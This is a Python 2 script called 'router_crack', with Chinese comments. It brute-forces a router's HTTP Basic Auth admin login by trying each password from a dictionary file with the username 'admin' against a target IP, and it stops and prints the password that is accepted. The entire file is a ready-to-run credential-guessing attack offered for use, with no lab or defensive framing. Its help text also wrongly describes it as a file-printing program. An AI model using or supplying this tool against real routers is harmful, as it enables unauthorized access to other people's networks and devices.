#! /usr/bin/env python
#coding=utf-8

import urlparse
import urllib2
import base64
import sys
import re
import os

#解决加载口令的路径问题。保证可以跨平台
def getpath():
    pth = sys.path[0]
    if os.path.isfile(pth):
        pth = os.path.dirname(pth)
    return pth


#登录的主页面
#theurl = 'http://192.168.16.1'
def crackr(m):
    theurl=r'http://'+m
    username = 'admin'
    req = urllib2.Request(theurl)
    fpath=getpath()+'/6num.dic'
    PWF=open(fpath,'r')
    i=0
    for line in PWF:
        print '''
========================================
The '%s' crack router password !
========================================'''%(i)
        i=i+1
        password = line.strip('\n')
        print 'The pw is '+password
        #注意哦，这里最后会自动添加一个\n
        base64string = base64.encodestring('%s:%s' % (username, password))[:-1]
        print 'The base64 is '+base64string
        authheader =  "Basic %s" % base64string
        req.add_header("Authorization", authheader)
        try:
            content_stream = urllib2.urlopen(req)
            page = content_stream.read()
        #回显验证成功后的返回数据
        #print page
        except IOError, e:
            print '===============err info================='
            if hasattr(e, 'code'):
                print 'err code is :'
                print e.code
                if e.code != 401:
                #print 'We got another error'
                    print e.code
                    print e.headers
                    print '=============auth info==================='
                    print e.headers['www-authenticate']
                    print '===========401 err end==================='
                else:
                    print '''401 err ,username or password is wrong.
=================err end================'''
        else:
            print 'The right password is '+password
            break
    PWF.close()
if __name__ == '__main__':
#    for i in sys.argv[]:
#        print i
    #假如直接运行程序，没有任何参数，则进行一下操作
    if len(sys.argv)>1:
        #判断参数是否以‘--’开始，并且判断参数是否合法，然后继续操作
        if sys.argv[1].startswith('--'):
            #取得argv参数列表内的第二个参数，去除前两个字符“--”
            option=sys.argv[1][2:]
            #假如键入的参数是‘version’
            if option=='version':
                print('''router_crack v1.0 python script by shuichon''')
            elif option=='help':
                print('''
    =================================================================
    | This program prints files to the standard output.             |
    | Any number of files can be specified.                         |
    | Options include:                                              |
    | --version   : The version number of the pychon script         |
    | --help      : Display this help                               |
    | --target ip : Crack the router(use of 'WWW-Authenticate')     |
    =================================================================
				''')
            elif option=='target':
                print '=============Doing crack================'
                print 'The target router is '+sys.argv[2]
                crackr(sys.argv[2])
        else:
            print('''Unknown option !
please input '--help' behind the script.''')
    else:
        print 'All done!'
